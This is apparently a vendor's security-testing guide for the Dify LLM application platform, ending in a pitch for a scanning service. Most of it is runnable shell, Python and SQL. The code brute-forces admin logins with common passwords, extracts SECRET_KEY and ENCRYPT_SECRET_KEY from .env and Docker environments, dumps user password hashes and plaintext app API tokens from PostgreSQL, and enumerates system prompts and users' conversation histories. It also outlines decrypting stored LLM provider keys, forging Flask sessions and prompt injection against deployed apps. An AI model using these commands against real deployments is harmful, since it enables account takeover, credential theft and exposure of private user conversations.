Dify is a widely deployed open-source LLM application development platform built on Python/Flask, used to build AI chatbots, agents, and workflow applications — it stores LLM application system prompts, user conversation histories, and organizational knowledge base documents. Key assessment areas: SECRET_KEY signs Flask session tokens; ENCRYPT_SECRET_KEY encrypts all stored LLM provider credentials; the console API provides access to all applications, conversations, and knowledge bases; PostgreSQL stores all application data; and MinIO/S3 stores uploaded knowledge base documents. Dify's system prompt configurations represent significant IP that may be extractable via prompt injection against deployed app endpoints. This guide covers systematic Dify security assessment.
# Dify — authentication and API key testing
DIFY_URL="https://dify.example.com"
# Dify login
AUTH=$(curl -s -X POST "${DIFY_URL}/console/api/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"admin","remember_me":true}' 2>/dev/null)
echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
result = d.get('result','')
data = d.get('data',{})
token = data.get('access_token','')
print(f'Result: {result}')
if token:
print(f'Token: {token[:50]}')
" 2>/dev/null
# Try common credentials
for PASS in "admin" "dify" "password" "changeme" "admin123"; do
STATUS=$(curl -s -X POST "${DIFY_URL}/console/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\",\"remember_me\":true}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('result')=='success' else 'FAIL')" 2>/dev/null)
echo "admin/${PASS}: ${STATUS}"
done
# App API key (for end-user chatbot access)
APP_API_KEY="app-your-dify-app-key"
curl -s "${DIFY_URL}/v1/info" \
-H "Authorization: Bearer ${APP_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'App: {d.get(\"name\")} description={d.get(\"description\",\"\")[:50]}')
" 2>/dev/null
# Dify console API — app, knowledge base, and conversation enumeration
DIFY_URL="https://dify.example.com"
ACCESS_TOKEN="your-dify-access-token"
# List all AI applications
curl -s "${DIFY_URL}/console/api/apps?page=1&limit=50" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('data',[])
total = d.get('total',0)
print(f'Apps: {total} total, showing {len(apps)}')
for a in apps[:10]:
print(f' [{a.get(\"id\")}] {a.get(\"name\")} mode={a.get(\"mode\")} status={a.get(\"status\")}')
" 2>/dev/null
APP_ID="your-app-id"
# Get app model configuration — reveals system prompt and LLM settings
curl -s "${DIFY_URL}/console/api/apps/${APP_ID}/model-config" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
model = d.get('model',{})
pre_prompt = d.get('pre_prompt','')
print(f'Model: {model.get(\"provider\")}/{model.get(\"name\")}')
print(f'System prompt: {pre_prompt[:200]}...')
" 2>/dev/null
# List all conversations for an app — complete user chat history
curl -s "${DIFY_URL}/console/api/apps/${APP_ID}/conversations?page=1&limit=20" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
convs = d.get('data',[])
total = d.get('total',0)
print(f'Conversations: {total} total')
for c in convs[:5]:
print(f' [{c.get(\"id\")}] name={c.get(\"name\",\"\")[:30]} user={c.get(\"from_end_user_id\",\"\")} msgs={c.get(\"message_count\")}')
" 2>/dev/null
# List all knowledge bases (datasets)
curl -s "${DIFY_URL}/console/api/datasets?page=1&limit=50" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
datasets = d.get('data',[])
print(f'Knowledge bases: {len(datasets)}')
for ds in datasets[:10]:
print(f' [{ds.get(\"id\")}] {ds.get(\"name\")} docs={ds.get(\"document_count\")} words={ds.get(\"word_count\")}')
" 2>/dev/null
# Dify SECRET_KEY and database credential extraction
# .env file — Dify configuration
cat /app/api/.env 2>/dev/null | grep -E "SECRET_KEY|ENCRYPT_SECRET_KEY|DB_|REDIS|MINIO|CELERY|STORAGE"
# SECRET_KEY — Flask session signing key
# ENCRYPT_SECRET_KEY — AES key for LLM provider credential encryption
# DB_* / SQLALCHEMY_DATABASE_URI — PostgreSQL credentials
# MINIO_* / STORAGE_* — object storage credentials
# Docker environment variables
docker inspect dify-api 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET_KEY','ENCRYPT','DB_','REDIS','MINIO','STORAGE','PASSWORD']):
print(e)
" 2>/dev/null
# PostgreSQL — all LLM provider credentials (encrypted with ENCRYPT_SECRET_KEY)
DB_URL="postgresql://dify:PASSWORD@localhost/dify"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- LLM provider API keys (encrypted)
SELECT pm.id, pm.tenant_id, pm.provider_name, pm.provider_type,
pm.encrypted_config -- Contains encrypted API key JSON
FROM provider_models pm
ORDER BY pm.provider_name, pm.tenant_id
LIMIT 30;
EOF
-- Decrypt using ENCRYPT_SECRET_KEY with AES-GCM
# All users across all tenants
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT u.id, u.name, u.email, u.password,
u.status, u.last_login_at, u.created_at
FROM accounts u
ORDER BY u.created_at DESC
LIMIT 20;
EOF
# App API keys — used to access chatbot endpoints
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT ak.id, ak.type, ak.token, ak.app_id,
a.name as app_name, ak.created_at
FROM api_tokens ak
JOIN apps a ON ak.app_id = a.id
ORDER BY ak.created_at DESC
LIMIT 20;
EOF
-- token is the app-xxxx API key stored in plaintext
# MinIO storage — knowledge base documents
# Documents uploaded to Dify knowledge bases stored as files
# Access with MinIO credentials from MINIO_ROOT_USER/MINIO_ROOT_PASSWORD
| Security Test | Method | Risk |
|---|---|---|
| ENCRYPT_SECRET_KEY extraction and LLM credential decryption | Read .env ENCRYPT_SECRET_KEY — AES-GCM key; decrypt provider_models.encrypted_config for all LLM provider API keys across all tenants | Critical |
| App API token plaintext extraction | SELECT token FROM api_tokens — all app-xxxx API keys stored in plaintext; enables direct access to all deployed chatbot endpoints without admin authentication | High |
| System prompt extraction via console API | GET /console/api/apps/{id}/model-config — full system prompt for each AI application; reveals business logic, product knowledge, and IP embedded in system prompts | High |
| Conversation history enumeration | GET /console/api/apps/{id}/conversations — all user conversations with message history; may reveal sensitive user queries, business processes, and confidential information shared with the AI assistant | High |
| SECRET_KEY extraction and Flask session forgery | Read .env SECRET_KEY — Flask session signing key; forge valid admin session cookies bypassing authentication | Critical |
Ironimo tests Dify deployments for ENCRYPT_SECRET_KEY extraction and LLM provider credential decryption, app API token plaintext extraction from PostgreSQL, system prompt IP exposure via console API, conversation history enumeration across all apps, SECRET_KEY Flask session cookie forgery, Docker environment variable exposure, knowledge base document extraction, prompt injection against deployed app endpoints, multi-tenant isolation boundary testing, and MinIO knowledge base storage credential extraction.
Start free scan